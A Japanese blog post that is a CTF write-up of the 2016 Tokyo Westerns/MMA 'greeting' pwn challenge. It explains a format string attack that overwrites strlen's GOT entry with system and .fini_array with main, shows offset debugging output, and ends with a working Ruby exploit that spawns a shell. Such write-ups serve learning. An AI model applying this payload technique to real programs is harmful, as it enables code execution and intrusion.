更新日時で差をつけろ

もはや更新日時でしか差を付けられない

TWMMA CTF 2016 / greeting を解いた

write-upを見た。この人競プロもCTFもできてすごいなあ。
Tokyo Westerns/MMA CTF 2nd 2016: greeting · うさぎ小屋
Tokyo Westerns/MMA CTF 2nd 2016のPwn作問 - ShiftCrops つれづれなる備忘録

Villager Aと同じformat string attackだが、 printf した後にGOT overwriteされるための関数がないので困る。
そこで デストラクタ .fini_array を書き換えれば解けるらしい。
.fini_array の場所は readelf -S ./greeting で見ることができる。

あとgdbでrunするとすぐ終了してしまうので戸惑った。これは tomori セクションの nao 関数がコンストラクタになっているからで、 gdbset follow-fork-mode parent すれば大丈夫。

また、 脆弱性のある sprintf では Nice to meet you, (18文字 = 18B) が先に来ているので、 %n で書き込む際のバイト数には気をつける(書き込みたい値からすでに書き込んだバイト数4 * nを引き、さらに18を引く)。
これに気づかず、 デストラクタから main に戻ろうとするときにSEGVを起こして苦悶していた。

さらに、 write-upでは %12$x を使っていたが、 AAAA と入れても 41414141 と表示されない。それゆえはじめ自分は %23$x を使っていた。しかしこれも、 Nice to meet you, のため AAAA と打つと 累計 22バイトになるからずれていた。
どうして %23$x でダメなのかはよくわからない。

$ ./greeting
Hello, I'm nao!
Please tell me your name... AAAA %12$x
Nice to meet you, AAAA 25204141
<--------22byte------>
# 0x25204141 -> "AA %"

$ ./greeting
Hello, I'm nao!
Please tell me your name... BBAAAA %12$x
Nice to meet you, BBAAAA 41414141
<--------20byte----><4b>

$ ./greeting
Hello, I'm nao!
Please tell me your name... AAAA %23$x
Nice to meet you, AAAA 41414141

理解はできたものの実際にシェルを取れるexploitを書くのにすごく時間がかかった。
.fini_array のアドレスも覚えてしまった(((
ライブラリも使ってみようかな。Ruby車輪の再発明するのもアリかもしれない。

Exploit

strlen_plt  = 0x08049a54 # の指すアドレスを 0x08048490 <system> に
dtors_addr  = 0x08049934 # の指すアドレスを 0x080485ed <main> に

exploit = "AA"
exploit += [strlen_plt + 2, strlen_plt, dtors_addr].pack("I*")
exploit += "%#{0x0804 - 20 - 12}x"
exploit += "%12$hn"
exploit += "%#{0x8490 - 0x0804}x"
exploit += "%13$hn"
exploit += "%#{0x85ed - 0x8490}x"
exploit += "%14$hn\n"

print exploit
print "sh\n"
print "id\n"